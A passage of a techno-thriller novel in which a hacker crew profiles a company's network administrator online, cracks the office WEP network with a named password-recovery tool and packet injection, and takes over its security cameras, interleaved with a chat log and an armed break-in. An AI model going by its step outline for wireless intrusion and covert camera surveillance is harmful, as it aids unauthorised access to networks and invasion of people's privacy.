Danny felt his throat seize with a jolt of anger. He shot Satish a steely glare. “I have everything perfectly under control. Do not question my technical expertise.”

Satish scoffed, “So far, you haven’t shown any for me to question.”

Danny forced himself to look away, and took a few deep breaths to calm down. His fingers slowly relaxed out from his tightly squeezed fists. He looked around the B&O Espresso. The group’s quarrel had begun to cause a scene. As the coffee shop’s staff scurried about the tables and counters, they gave Danny and his hacker crew sidelong glances. “Satish,” he said with forced calmness. “Tell me that part again about how some system administrators took their companies offline because of rumors of an SSH-cracking tool?”

“Not much to tell,” said Satish. “A couple years ago, somebody hacked a website called ImageShack. A hacker group called ‘anti-sec’ publicly announced that they were responsible for the break-in, and that they had done it by using a brand-new hacker tool that worked by cracking SSH. System administrators all over the world saw this and freaked out. They completely disabled SSH on their networks — they figured it’s better to not let *anybody* connect, not even legitimate users, than to give a hacker a route of entry.”

“That sounds like more than just a rumor,” said Danny. “That’s a serious threat.”

“It would have been, if it was real,” said Satish. “But it turned out that the hacker group lied. There was no such SSH-cracking tool. It was all a giant hoax.”

“Did they have a motive?” asked Danny.

“Just to cause a panic,” said Satish. “Make themselves look powerful, freak people out. Which, to be fair, it did. But so what? All it proves is how crazy everything would be if there was a vulnerability in SSH. But there isn’t.”

Danny thought for a moment. “Not even through its own system administrators?” he said pensively.

Satish shook his head. “I don’t follow.”

Danny paced as he talked, his fingers fidgeting. “These anti-sec guys succeeded in taking a whole bunch of companies offline not by exploiting a flaw in the machines, but by tricking the sysadmins who run them. Hacking, by definition, is making a system do something that it isn’t supposed to do. That system includes people. It’s built and maintained by people. Tungsten’s IT staff itself is a system component. Let’s look for vulnerabilities in it.” He turned toward Jason, who was fiddling on his cellphone. “How big is Tungsten’s Information Technology department?”

“Just one guy,” Jason answered. “They have a couple older technicians around to help maintain the medical equipment, but they’re not in charge of the corporate network. Their system administrator is some hipster kid. I don’t know his name.”

“I bet LinkedIn does,” said Danny.

Moshen tapped away on his laptop. “Tungsten Medical Technologies... Network administrator... Got it! Roger Tanner.”

“Roger Tanner,” repeated Mike while working. “Jason, is this him?” Mike turned his laptop around to show Jason the screen. It displayed a Facebook profile page. The photo showed a young man with dark spiked hair and narrow black-framed glasses. Jason nodded.

Danny peeked at the screen over Mike’s shoulder. “His username is ‘rot13er’. He probably uses that same handle everywhere. Let’s see what this guy’s all about. Search around the web. Check message forums, social networks, anything.”

Mike and Moshen set to work alongside Danny. Satish sat silently nearby, eyeing the whole endeavor with grudging interest.

After several minutes, Mike piped up. “Danny! I found something!” he said excitedly. “It’s an online tech-support forum for a company called OmniVision. They make security cameras. Check this out...”

```
User: rot13er
Member, active 1 day
```

```
Do you guys have a software upgrade for the OmniVision
Sightbulb-1200 PTZ to give it WPA support? My company has about 30
of these cameras, installed ten years ago. We have a few wireless
access points to connect them to the corporate LAN, but I have to
run these APs with WEP because the cameras don't speak WPA.
---
```

```
User: David Swan
```


DOPAMINE

OmniVision Support Engineer

I'm sorry to inform you that we discontinued support for the Sightbulb series about four years ago. I advise replacing your Sightbulb cameras with our Clarity line. I would be happy to let our sales department know about your needs.

User: rot13er

Member, active 1 day

My company's not going to go pay you for 30 new cameras. Don't you guys have a firmware patch I can install?

User: David Swan

OmniVision Support Engineer

Unfortunately, the Sightbulb cameras were designed and manufactured before WEP's weaknesses were discovered. We understand your concerns, but we deemed it technically infeasible to migrate the Sightbulb-1200 to WPA.

User: rot13er

Member, active 1 day

Are you serious? WEP is worthless. I might as well not even be running encryption at all. Thanks for nothing.

DOPAMINE

Danny smirked as he read the exchange. “Nice find, Mike! Gentlemen, let’s reconvene tonight after dark, and head over to Tungsten HQ. And savor the irony: we’ll be penetrating their network through their security cameras.”

7

witchdoctor82

hey lady!

tinacious_g

O HAI!

HI2U2! Whatchya up to?

IM IN MY LOBBY HATING MY LIFE

why are u still at work? Its almost 10

Drippy gave me a bunch of shit tasks just
to make my life suck.

sorry t. you gonna be done soon?

DOPAMINE

No. Haven't really focused. I made a big mistake called icanhascheezburger.

And cuteoverload.

And stuffonmycat.

haha did lolcats steal your brain?

Yeah.

I was like, I don't waaaaaaaant to print any more forms tonight. I know, I'll cheer myself up by looking at funny pictures of cats on the internets. OMG KITTIES!

KITTIES KITTIES EVERYWHERE!

Hours later... ZOMGZ MOAR KITTIES!

did you know you get a dopamine rush just from looking at a picture of a smiling baby or a cute animal? There was a uk study about 2yrs ago that proved lolcats are actually a drug.

AW GEEZ NOT THIS SHIT AGAIN!

DOPAMINE

Drippy dragged me into his office this
afternoon to lecture me about
neurotransmitters.

He called me hormonal

and kindly offered to implant electrodes
into my cerebral cortex.

aww what a sweet man!

It was really more a lecture about me
behaving myself with Roger. Drippy
disapproved of me giving Roger a close
look at my iPhone earlier today.

At high velocity.

hmm. t, you know ur never supposed to
succumb to anger. Remember all energy u
put out comes back to u threefold. Which
is why ur stuck at work late tonight.

the Rule Of Three is a core wiccan tenet.
u shudnt trifle with stuff like that.

but just between u and me...

DOPAMINE

nice!

I'm pretty sure I'm stuck here late not
because of mystical energy but because of
the security cameras...

ohshit! Shitshitshit!

I swear I just heard one move.

I think it's pointed at me. It's in a
black glass dome on the ceiling but you
can kinda see the lens if you look real
hard.

I think it's checking out my boobs.

Am I losing it?

yes. :)

anyway, im serious about the Rule of
Three, t. I know u dont believe in it, but
you really are shaped by the energy you
put out. I see it work all the time.

for example. i have this one patient whos
seeing me for ptsd.

DOPAMINE

his last doc had him on luvox, but it made him nauseous and dizzy. so he switched to lexapro, which he didnt respond to. then they tried klonopin, but he got suicidally depressed.

so when i got him, you know what i gave him?

mullein!

Is that a new anti-anxiety med?

its a flower!

little yellow fuzzy flower.

i made him a bracelet out of them. :)

Let me guess. It's a charm, right?

yes! a protection charm. for courage when confronted by evil spirits.

i told him to wear the bracelet all day, and i taught him a spell to recite whenever he feels his anxiety coming back.

DOPAMINE

You prescribed him a Wiccan ritual?

Nat, are you actually allowed to do that?
:P

not really :)

but it helped him a lot.

"Dear Swedish Medical Center Ethics
Committee. My treatment methodology
involved a magic bracelet..." ;)

you think THATs the strangest thing theyve
heard? :)

anyway, the magick comes not from the
bracelet, but from the mind of the wearer.
the mullein merely acts as a focal point
for the wearer to channel their own innate
capacity for self-healing.

part of the healing ritual involves making
sure that the beneficiary KNOWS its a
healing ritual.

if it helps to understand it, you can
think of it as the placebo effect. but the

DOPAMINE

very fact that the placebo effect even works at all, ever, is sort of my entire point.

Better living through self-deception? :)

or self-fulfilling prophecy. call it what you will. either way, it really works.

its the process of taking something in your mind, that you imagine, and using the power of your mind to manifest your imagination in the real world.

and THAT, dear t, is magick. ;)

:)

So then, O Wizened Witch-Woman.

What kind of magick can I use to improve this total shit-show of a situation I've got here?

I mean, right now, here's the potion for my life: take one part romantic failure, two parts professional failure, stir them

DOPAMINE

in a crucible made of tungsten, and choke
it down when it's cold and bitter.

hugs

sorry things suck for you so much right
now, t

for what its worth, u should know that you
are fortunate in that your trap is of your
own creation. i say that not to assign you
guilt or blame but to remind you that you
have the power to dismantle it.

for example, when it comes to dating, you
can learn to recognize loser manchild
jerks and stop wasting time on them. you
need to find someone a little more mature

Got anyone in mind?

how about one of the scientists?

How about no more dating guys from the
office?

Besides, they're all dipshits. Everybody
here sucks. I get zero respect here. ZERO.

DOPAMINE

I try to talk shop with the scientists sometimes, and they just humor me. Like, "Aww how cute! The Xerox girl is trying to use big words!"

Fuck, they don't know me! They don't know that I know this shit. They don't know I was on track to be one of them back in college, before my dad got sick and I had to go help my mom take care of him.

They never even fucking ask.

why don't u do something about it t?

get yourself onto a research project maybe?

You mean like the one where Drippy saws my head open and sticks probes in my brain?

They don't take me seriously enough here to even consider the possibility of me doing real research.

well, t, from their point of view, why should they?

DOPAMINE

you are their office admin. that's your role. you play it willingly. they have no reason to think of you as anything else.

they don't see inside you. they don't know what your capable of. all they see is a receptionist.

they won't give you a chance because you haven't shown what you can do, and you haven't shown what you can do because they haven't given you a chance to.

Yep. FML.

dont you see? it's a spell.

It's a freakin curse.

you have to break it, t.

Yeah I know. I just wish I could prove myself to them.

start by proving yourself to yourself.

You say that like it's so easy. Like my life is just full of opportunities to

DOPAMINE

actually

heh...

?

You remember that slutty intern I've
complained about?

She disappeared a few days ago.

I spent all afternoon trying to track her
down. Nobody's heard anything from her.

She totally fubarred some super-important
assignment, and Drippy's freaking out
about it.

It's kindasorta why I'm stuck here tonight
in the first place. To handle her firing
paperwork.

But...

Wouldn't it be awesome if I single-
handedly retraced her steps and set
everything right?

DOPAMINE

It'd be like, whoa! Christina Giordano! By day: abused office admin. By night: Molecular biologist slash superhero!

Tun tata tuuuuuun!

what kind of assignment is it?

Don't know. Drippy didn't say. But I bet I can find out. I'm sure her desk is full of all sorts of interesting info.

her desk? do u have access to it?

would anyone notice if you poked thru it?

I can get to her desk no problem. It's in the big open office bullpen area.

Nobody would notice. I'm alone here tonight.

There's cameras everywhere, but Drippy told me to track her down at all costs, so I have a perfectly good reason to dig through her desk.

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so i don't get why you haven't already
gone and done it.

Oh shit.

You think I should? Really?

t, for fucks sake stop talking to me and
go show them what you're made of! :)

Right now? For real?

YES

t?

hello? u there?

guess not.

atta girl.

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8

DANNY'S FACE WAS LIT FROM AFAR by the deep, deep red glow of invisible light. He and the other four men sat in Jason's black Lincoln Navigator SUV parked across the street from the broad suburban office building that housed Tungsten Medical Technologies.

"Any luck?" asked Jason from behind the wheel.

Danny sat in the passenger's seat, staring at his laptop. His Claymore tote bag, filled with pieces of his priceless contraption, lay at his feet. "Some. I've got twenty access points in range, but I can't tell which ones are on the Tungsten network."

Inside Tungsten's building, dozens of computers transmitted signals to each other through rapid electromagnetic oscillations. At its heart, the process was no more complex than blinking lights — but only someone like Danny would think of them as "lights". Most people would think of them as small antennas, and would

say they were emitting radio waves. But to Danny, when it came to things like antennas or light bulbs or radio transmitters or Naval radar systems, the difference was literally in the eye of the beholder.

Danny surveyed the office building. There were trees planted beside it — pines, arranged by professional landscapers into neat woodchip-lined rows. Danny had chosen to park near these trees intentionally, to stay out of sight. But the trees obscured visible and invisible light alike.

“Move the car over there, where the trees are thinner,” Danny said while pointing. “We’ll still be mostly hidden from view, but we might get a better signal.”

Pine trees were living things, and their green needles were filled with water. As an electromagnetic wave passed by, the polarized water molecules would bounce and jostle, sapping the wave’s energy. Each tree might as well have been a cloud of fog.

Jason nodded and complied. The SUV lumbered quietly forward. “The lights are on in their lobby,” said Jason as their angle of view shifted. “And there’s still a car in their parking lot. Is someone in there?”

“Not sure,” said Danny. “I think so, but I can’t really see.”

The waves of light that Danny's eyes could see had frequencies that ranged from 400 to 790 terahertz, corresponding to colors from red to bluish violet. The lights coming from the Tungsten building had frequencies near 2.45 gigahertz. Human beings who talked about such things, like Danny, didn't call it "color." They instead used words like "channel" or "band". And in place of names like "red", they used the term "microwave".

"Better?" asked Jason.

"I think so," Danny answered, focused on his computer screen. "The RSSI from three of the APs just jumped when we moved the car. They're running WEP over 802.11b. I think these are the droids we're looking for."

"So you're in?" asked Jason.

"Not yet," said Danny. "We can receive their transmissions from here, but they're encrypted. We still have to crack them. Which is exactly why I brought my little friend Cain & Abel here..."

"You mean your friends Cain and Abel? Plural, right? Who?" Jason asked, confused.

"No, Cain & Abel," Danny corrected. "It's an application written by an Italian hacker named Massimiliano Montoro. It's a, um, 'password recovery toolkit'," Danny said with air-quotes and a smirk. "You know, in case you, uh, ever lose the key to your own network."

Jason laughed. “Right. Does it actually work?”

“See for yourself!” Danny said. He whisked his fingers across his laptop, navigating through an elaborate maze of buttons and drop-down menus. “Passive Scan... Capture to File... Packet Injection ARP Requests... and... Go!”

“*Now* you’re in?” asked Jason.

“No! Sheesh,” said Danny. “Keep your pants on. It’ll take a few minutes. Right now my computer is tricking the machines on the Tungsten network into transmitting tons of data, and looking for patterns in those transmissions. See, Tungsten’s security cameras use an old WiFi protocol called Wired-Equivalent Privacy, or WEP. WEP has a subtle mathematical flaw that was discovered in the early 2000s. Every WEP packet gives a small clue about its cryptographic key, so if you capture enough traffic over the air, you can deduce the network password. As we speak, Tungsten’s machines are beaming out sweet, juicy packets. Just sit back and enjoy the show.”

Danny stared out at the Tungsten building, past the trees.

If Danny could see into the microwave spectrum, he would see a dazzling symphony of light. The building’s walls would be mostly transparent, like a giant jar of fireflies. He would see each computer, one at a time, emit rapid flashes, pulsing like a tiny lighthouse. Once its flickering ceased, a certain designated device — an access point, or WiFi hotspot in popular parlance — would light up in response to the darkness. The access point was the choreographer of this

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luminous dance; its flashes would tell the other devices which one of them gets to transmit next. Then it would fall silent and another computer would light up in turn, illuminating the night with pure, glowing data.

Danny couldn't see it with his eyes, but he could visualize it clearly. It was beautiful.

The light was suddenly obscured by Jason's hand waving and snapping its fingers in front of his face. "Helllooooo, Earth to Danny?"

"Huh? What?" Danny jumped to attention.

"Distracted by something shiny again?"

"Yeah," Danny replied. He looked at his laptop screen. "Sweet, I've got plenty of vectors. Now I just hit Analyze... Korek algorithm... Start... and..." He triumphantly held up his computer. "Gentlemen, we can haz password!"

With excited commotion, Mike, Moshen, and Satish leaned in to see Danny's screen.

```
WEP Key found !
```

```
ASCII: d0ct0r_P_f3llates_your_m0m
```

```
Hex: 6430637430725F505F66336C6C61746573...
```

Moshen laughed through his nose. “*That’s* the password? This Roger guy is hilarious!”

Mike, sitting right behind Danny, announced, “It works. I’m connected.”

“Start scanning, Mike,” Danny directed. “Now that we’re behind their firewall, we should be able to reach every machine on their network.”

Satish entered the conversation. “Do you want to see their camera feeds?”

“Yes!” Danny said. “You have their video streams?”

“I have everything,” said Satish. “I’m doing a promiscuous packet sniff. I’m seeing an MPEG-4 stream inside a HTTP session.”

“Dude!” said Danny. “Where at?”

“Look at port 80 on 192.168.2.57,” said Satish.

Danny entered the numbers. His screen filled with a video feed of the driveway just in front of the Tungsten building, pixilated and choppy with occasional blocky digital glitches. A narrow ribbon of text ran along the bottom, showing the current date, time, and information about the camera. A rectangle labeled “PTZ” contained buttons with icons of arrows and magnifying glasses. Danny played with them and found that he could move the camera — pan, tilt, and zoom.

“Omigod, niiaiiice!” Danny sang.

“I’m also seeing some web-browsing activity,” said Satish. “There’s a machine on the subnet making requests to stuffonmycat.com with a FireFox browser. I’m pretty sure someone’s still in the building.”

“I’m seeing a bunch of HTTP servers, too, Danny,” said Mike. “Besides the one Satish found. Same subnet. Dot-84, dot-91, dot-95...”

Danny brought up each one. They were all video feeds from security cameras.

He saw office hallways. He saw conference rooms and cubicles with whiteboards covered with chemical formulas. He saw laboratories full of beakers, refrigerators, centrifuges, and measurement instruments. He saw a large warehouse-like storage room filled with scientific and medical equipment.

He saw the reception area. Somebody was there.

“Guys. Check out dot-177,” said Danny.

The screen showed an angled overhead view of a young woman at the reception desk. She wore a black knit cardigan sweater over a simple white button-down shirt. Her black hair was neck-length and unkempt. A small nose stud glinted in the light.

What Danny noticed most, though, was her body language, her posture and poise — or rather, her complete lack thereof.

She slouched as she tapped away at her keyboard, her shoulders slumped and her spine crooked. The timing of her keystrokes made it obvious that she was chatting with someone online, feeling no need to appear like she was still working. Her hair was unkempt not because she was trying to artificially make it look naturally beautiful, but because it was in fact the natural state of her hair after a very long work shift.

Danny smiled. Her hair looked beautiful anyway.

Suddenly, the view on Danny's screen started to move.

The camera panned left, then down, centering on the girl.

"Hey! Who's doing that?" barked Danny.

"Doing whaaaaat?" Moshen said from the back of the car.

"Quit playing with the PTZ buttons!" said Danny.

"What? I'm just trying to get a better look at Tungsten's personnel here. It's vital reconnaissance work!"

Jason, somewhat confused, leaned over and took a look at Danny's screen. "Oh," he said. "That's Christina. Their office admin."

The video feed zoomed in on the girl's chest. Her shirt and cardigan took up the entire image.

“Helllooooo Nurse!” said Moshen.

“Dude, stop that!” said Danny, and made the camera zoom out.

“No, this is important! We’re here to examine Tungsten’s assets!” said Moshen. The camera tightened back onto the young woman’s breasts.

Suddenly her torso turned, and her face descended into view, filling the frame. She looked straight into the camera with a perplexed expression. She squinted with suspicion, tilted her head slightly, and craned her face toward the lens.

“Shit! Can she see me?” Moshen exclaimed.

She self-consciously adjusted her cardigan and turned back to her computer.

“Quit dicking around!” Danny commanded.

“Okay okay, sorry,” said Moshen. “What’s next?”

“Well, right now we’re on their internal network. Next step is to get onto one of their computers. Right now we’re like a burglar who’s broken into an apartment building and is loitering in the hallways. We haven’t actually gotten into any of the apartments yet. Mike, how’s that network scan coming?”

Mike Braun had been periodically making soft grunts of frustration and excitement for the last several minutes. “This place is a goddamned mess,” he replied.

“What do you mean?” said Danny.

“Well, their network topology makes absolutely no sense,” said Mike. “It looks like they’ve got like a dozen different network segments, and they seem to be connected completely by random. Normally, a corporate network is organized into groups of related computers, right? Like maybe a subnet for the Finance department, and then inside that, subnets for Payroll and for Accounts Receivable. That’s how we’re taught to do it at Bellevue. But this...? This is total chaos. There’s no overall design to it. The sysadmin is either some kind of insane genius, or he just makes up the network structure as he goes along. Like he’s slapping it together out of parts that happen to be lying around.”

Danny chuckled a bit. “Not surprising. All of their network administration is being handled by this Roger Tanner guy. He’s probably constantly pressed for time. It always seems easier and quicker to build things ad-hoc than to design systems with long-term operation in mind.”

Mike nodded his large, furry head. “Yeah, most of these machines seem really badly maintained. Some look like they’ve gone months without a patch or an upgrade. They’re probably riddled with security holes.”

“Perfect,” said Danny. “Metasploit will make quick work of them.”

“Well, there’s one other thing, Danny,” said Mike hesitantly. “It’s really messed up. See... Some of those machines in there... I don’t... I’m not sure I’m reading this right... I don’t think they’re... They’re on the Ethernet segment, but...”

“Just say it, Mike,” Danny said.

“They’re not using IP,” Mike replied hesitantly.

“Heh. Don’t be ridiculous,” said Danny. “Everything uses IP.” He noticed a quizzical expression on Jason’s face. “IP is the digital language of the Internet,” he explained. “Has been for twenty years. Mike, if they’re not using IP, how are they talking to one another?”

“It’s... I...,” said Mike. “I think they’re...”

Satish’s voice chimed in. “Novell Netware,” he said. “Raw Netware packets directly on the 802.3 frame.”

“Are you serious?” asked Danny

“I’ve been trying to decode them,” said Satish. “WireShark’s been telling me they’re Netware. I thought it was a parsing error this whole time.”

Danny felt bewildered. “Novell hasn’t used that protocol since the mid nineties. Shit, I haven’t heard anybody mention it since I was in college.”

Mike said. “Yeah! I’m seeing something called DECnet Routing Protocol. Danny, what is this shit?”

Danny shook his head. “It’s ancient...” He turned his attention back to his laptop, which still showed the lobby camera. Christina wasn’t at her desk anymore. His interest now wasn’t in her, but in the computers in the building.

He brought up a camera in a room with large steel refrigerators along the walls. One of the refrigerators had a massive metal door with a special lever-like handle. A computer sat on a desk next to it, beige with black trim. A small CRT monitor was built into its body, showing a screen of blocky green text. The clunky keyboard was two inches thick and looked heavy enough to use as a bludgeoning weapon.

Danny recognized it. It was a relic. An honest-to-God DEC VT100 terminal. It wasn’t even a real computer. Digital Equipment Corporation, or DEC, discontinued those machines when Danny was in junior high.

DEC itself was barely even a memory anymore. After forty years as a multi-billion-dollar trendsetter for every aspect of the computer industry, DEC finally went defunct in 1998, unable to compete against low-cost Intel x86-based Windows PCs flooding the market. DEC was bought out by Compaq, who manufactured the very machines that had caused DEC’s demise. Compaq, in turn, was bought out by Hewlett-Packard in 2002.

He switched to a few of the cameras in the long, cramped warehouse-like storeroom. In the light of the weak yellow safety lamps, Danny could make out a few computers scattered in with the rest of the unused equipment. He saw the quirky, curvy purple case of an SGI O2+ workstation. He saw a black NeXT cube. He saw equipment by Solaris. By Sun Microsystems. By Amiga. By Tandy.

He felt dizzy. It was all, as he said, ancient.

Ancient. Yet so familiar. So painfully, intimately familiar.

The first program Danny ever wrote was a BASIC script on a brand-new, cutting-edge Tandy TRS-80 that his dad brought home from Radio Shack and hooked to their big, knobby family TV. The program filled the rounded glass screen with “DANNY”, scrolling in an endless loop. He wrote it all by himself. He was seven years old.

Tandy went defunct in 2000.

His first job in college was porting one of the University’s data entry systems from a DEC PDP-11 to IBM’s OS/2. He laughed at the poor engineering and primitive design of the original PDP-based software — he didn’t realize that the engineer who had built *that* system in turn, needed to keep it compatible with something even older. Danny knew everything back then. He was the smartest, most talented guy alive. There was no technical challenge on Earth that wouldn’t crumble under the might of his intellect. He was eighteen years old.

IBM discontinued OS/2 in 2001.

His master's thesis was on techniques for transistor placement to optimize thermal dissipation in 3D VLSI layout. His education was funded by a grant from Cray Computer Corporation. Danny's research was supposed to be a key part of the company's efforts to keep supercomputer architectures competitive against new-fangled "massively parallel" systems. Danny once even had the profound honor of attending a dinner with the legendary Seymour Cray himself. Even at the age of 70, that man's mind was unstoppable. Danny idolized him. Danny was twenty-two years old.

Seymour Cray died in a car accident the following year. Cray Computer Corporation went bankrupt in 1995. A boom in massive parallelization technology rendered the supercomputer obsolete.

He slammed his laptop shut. "Fuck," Danny exhaled sharply.

"Danny?" Jason said softly from the driver's seat of the Lincoln Navigator.

"What?" Danny croaked out.

"Danny, are you okay?" Jason said gently, almost tenderly.

"Yeah, I'm f—," Danny began to say, but felt his voice crack. He was crying.

The SUV was silent. He could feel everybody looking at him. He didn't dare turn his face and let them see his wet, red eyes. "I'm fine," he mumbled, but he knew he didn't sound convincing. He swallowed hard, and said, "I need some air."

He yanked at the door handle and hopped out of the SUV, slamming the door behind him. He sat down on the pavement against the SUV's tire, set his laptop down by his feet, and buried his face in his hands.

Jason exited the SUV and came around.

"You alright?" Jason asked, sitting down beside him.

Danny sighed. He poked at his laptop with his foot. "I hate these things," he said.

"Laptops?"

"Computers. Cellphones. Kindles. iPods. iPads. Androids. I fucking hate it all."

"Aww, c'mon. No you don't. How can you hate the iPad?" Jason said lightly. "It's all sleek and shiny!"

"I mean working in the computer industry. It's such a goddamned waste of life." He stared away emptily. "I've been doing this for over twenty years, and every damn thing I've ever built just gets swept away by the next great wave. My resume reads like dot-com obituaries. They all start out as brilliant ideas and then become obsolete and useless in the time it takes to put those ideas into action."

Jason said gently, “But, Danny, you love your work...”

“I do, Jason. I love it so much it’s fucking heartbreaking. Do you know much it hurts to love something that dies so quickly? You learn some amazing complex system, and then bam! Obsolete overnight. Do you have any idea how much outdated technical shit is in my head? I can rattle off every opcode in the Motorola 68K instruction set. I know the full pin-out structure for the Intel 80286 CPU. I know a thousand things that, at their time, were cutting-edge and I learned them cold and I was fucking awesome. And now what? Now time has left them in the dust, and all that shit is still in my head, like the abandoned ruins of some ancient civilization. All that skill, all that hard-won knowledge... it’s all useless. Useless. Completely, utterly fucking useless.” He gulped painfully. “And so am I.”

Jason replied kindly but firmly. “Listen, Danny. I’m not sure exactly what triggered this, but one thing I know is that you take pride in your work. Well, you’re at work at this very minute, Danny. Stop sulking. You’re on the clock. You’ve got a job to do.”

Danny breathed slowly, as though the broth of self-pity that boiled in his mind could be chilled by drinking in the cool, moist air. “You’re right. Just give me a minute.”

With a deep sigh, Danny slowly pushed himself away from the SUV and stood up.

The stillness of the night was broken by the soft sound of tires on pavement.

A sound that came, oddly, with no corresponding engine rumble.

A gleaming white Tesla Roadster drove up the street adjoining the office complexes. It moved eerily quietly, its all-electric power train making almost no noise.

Several cars had already driven by. What made Danny and Jason notice this one, besides its stylishness and the unusual soundless way it moved, was that it slowed down and turned in to the Tungsten parking lot.

Through the pine trees, they could see the Roadster pull to a stop just in front of Tungsten's entrance. Two male figures emerged. They stood outside talking in the light pouring from the lobby.

"Danny! Jason!" Mike's voice came from the SUV. "Are you watching the two guys in front of the building?"

"Yeah, we can see them from here," said Danny.

"For fuck's sakes, *get down!*" said Mike.

Danny and Jason hid behind the black Navigator. "What's going on?" asked Danny.

"Look at dot-212," said Mike. "It's a parking lot camera."

Danny re-opened his laptop and brought up the video feed.

The two men stood in front of their electric sports car, talking. They wore dark jackets and black leather gloves. They had athletic, muscular bodies, and hard faces that looked like they were comfortable and familiar with danger. They had slim cellphones with Bluetooth wireless headsets, which they set up and put into their ears as Danny watched.

And they had guns.

One carried a thin black semiautomatic handgun. The other had a small silver revolver with a short, squat barrel with a disproportionately large opening. They held the firearms in their hands casually, nonchalantly, gesturing with them as they talked.

With a nod, the one with the small silver revolver tucked his gun into a jacket pocket. He opened the Roadster's door and retrieved an object from inside. Danny zoomed in on the object in the man's hands. It was a woman's purse — a large red and black bag. The man pulled a keycard out of it, threw the purse back into the car, and walked to the entrance of the Tungsten headquarters. A green light popped on above the door's keycard reader. The man passed the keycard to his partner and entered the building.

The one with the semiautomatic remained out front, standing beside the front doors. He pulled back the slide on his weapon and deftly screwed a long black silencer onto the end of the barrel. With the silencer firmly installed, he pushed a clip into the gun's handgrip and released the slide with a quick pull. The slide

snapped forward. He took off his jacket and draped it over his hand, concealing the weapon. He crooked his arm casually at his side, looking like he was innocently holding his jacket, and leaned against the wall as though he was idly waiting for someone.

The man with the small silver revolver walked slowly but confidently through the lobby. He opened the interior door and proceeded into the unlit hallway beyond.

Danny quickly checked the lobby's camera feed. The receptionist was gone; her iPhone sat charging on her desk. "Guys. The girl. Christina," Danny reminded them. "Does anyone see where she is?"

Mike replied, "Check the main office camera."

Danny punched the corresponding URL into his browser. The video feed showed an office bullpen. The lights were off for the night, but the room was still illuminated by screensavers and the power lights of office equipment. The desks were mostly messes of computers, papers, and laboratory apparatuses. White lab coats hung from the backs of curvy ergonomic chairs. Whiteboards filled with diagrams and equations lined the walls.

Christina's head, with her dark neck-length unkempt hair, poked out above a computer monitor. She stooped over a desk, digging through its drawers.

In the darkened hallway beyond the bullpen, a shadow moved.

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Danny realized that, whatever his own personal problems might be, the girl on the screen was about to have much more pressing issues.

9

AMMONIA. NH_4OH . The bottle was laboratory grade, but it was identical to the stuff sold at every grocery and drug store.

Acetone. $(\text{CH}_3)_2\text{CO}$. Nail polish remover. A powerful solvent and a cleaning agent.

Hydrochloric acid. HCl . This bottle came from a supplier called The SCIENCE Company, but the stuff was commonly sold at hardware stores as drain cleaner under the trade name “muriatic acid”.

All of the chemicals that Tina found on Julie’s desk were common sights around Tungsten. Julie’s computer was locked and password-protected, but the chemicals she kept around were plain to see. The substances were remarkable, ironically, for how unremarkable they were. The only thing that made them interesting was the fact that Julie had a cache of them. In the dark office bullpen, the reflections of the screensavers of nearby monitors danced on their cylindrical glass contours.

Tina opened the top drawer. What she found there made way, way more sense.

In the top drawer of Julie's desk, Tina found white powder. It sat on a square glass plate, fused into rocky chunks, next to a razorblade and a two-inch-long diagonal-cut segment of a plastic drinking straw. Portions of the rocks were chopped up and drawn into thin white lines.

Tina nearly laughed out loud. It totally figured.

Tina herself was no stranger to coke. It was something served at parties among a cadre of trusted friends, preferably physically attractive ones eager to enjoy a little stimulation. She hadn't indulged since college, but in the right social contexts she still felt an occasional craving.

But for Julie to keep a supply of it at work, cut and drawn and ready for snorting, indicated a serious problem. Tina thought about how intense the intern's cocaine habit must be if she was brazenly keeping a ready stash right in her desk at work. She pictured Julie surreptitiously sliding open her top drawer and sneaking bumps throughout the workday.

Tina rolled her eyes and slid the drawer shut.

In the periphery of her vision, something moved.

Tina swore she saw a shadow glide across the adjoining hallway. If Tina hadn't looked up from Julie's desk at that exact moment, she would have missed it entirely.

Yet the corridor was dark. A split second later, she saw nothing.

She walked from the bullpen and peeked down the hallway. A slight amount of light and noise was coming from around a corner.

Tina walked to the bend in the hallway. She saw light pouring from the doorway to the cold-storage room, where Tungsten kept samples of *E. coli* bacteria in suspended animation. She heard someone in there, rummaging through glassware.

Tina walked uncertainly toward the lit room. The hum of whirring HVAC machinery and the sound of clinking glassware grew louder as she approached. The room's door was open, and a chilly breeze poured from it.

She peeked inside. The door to the deep-freeze unit was open. Amidst the cold fog pouring out onto the floor, Tina could see a pair of black sneakers under the door, and could hear someone rifling through the test tubes filled with frozen *E. coli* samples inside.

Tina watched for just a moment too long.

The black gloved fingers of a man's hand wrapped around the edge of the steel door and pulled it shut. The room got slightly quieter as the massive door's rubber gasket muffled the hum of the deep-freezer's cooling pumps.

She saw the man standing there, breathing into his gloved hands to recover from the cold. He wasn't one of the scientists. He was muscular and athletic, in jeans and a dark jacket. He was in his late twenties or early thirties, and sported dark crew-cut hair. A Bluetooth earpiece sat in his ear. His expression was hard and resolute, and something about his face and posture hinted to her that he was no stranger to physical violence.

He saw her.

They looked at each other tensely.

Tina had left her iPhone in her purse at her desk. Her first instinct told her to sprint back to her lobby, call the police, and get the hell out of the building. Except she couldn't, because he was staring at her.

She stepped out from behind the door. The only thing she could think to say to him was her receptionist program. "Hi. Can I help you?"

He replied to her in a foreign accent. The same accent, albeit much lighter, as Dr. Passinsky's. Russian. "I'm from the courier service. I'm here to pick up a delivery for urgent shipment tomorrow. Has to arrive first thing in the morning. Sorry to bother you."

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As he spoke, he gazed at her like a wolf at a rabbit. Tina felt an intense tightness in her chest, a mortal intimidation that froze her in place. "I'm supposed to sign visitors in at the front desk," she said tentatively.

"Not necessary," said the man, his eyes boring a hole through her. "I belong here. I have the keycard."

She stood immobile in the doorway, forcing herself to remain calm. "Well. Then. Good luck with the delivery. I'll just go back to my desk now and finish my work. Okay?"

He stared at her silently. He said nothing in response.

"Okay?" she repeated, trying not to sound like she was pleading.

Finally, he said, "Okay."

She resisted the urge to breathe a sigh of relief. She'd pretend to believe him about his deliveryman story, he'd pretend to believe her about believing it, and they'd both let the night proceed under this pleasant little fiction. "Okay," she repeated with a nod, and slowly started backing out from the doorway.

"You know what?" the man said suddenly. "I change my mind."

With a quick, soundless motion, the man reached into his jacket, pulled out a gun, and pointed it at Tina. The gun was a small silver revolver, barely larger than his hand. The barrel was short and stubby, but its barrel looked wide enough to stick a finger into.

“Get in here, young lady,” he commanded. With a practiced flick of his thumb, managing to keep the squat barrel perfectly still, he cocked the revolver’s hammer back. It made a faint click.

She stepped into the room.

“Good girl,” he said as he carefully uncocked the hammer. “Now come over here.”

He backed away several feet, keeping the gun trained on her as she walked toward the deep-freezer.

“That refrigerator,” he said to her, bobbing his head at the deep-freezer. “That’s long-term storage for microbe samples, yes?”

Tina nodded.

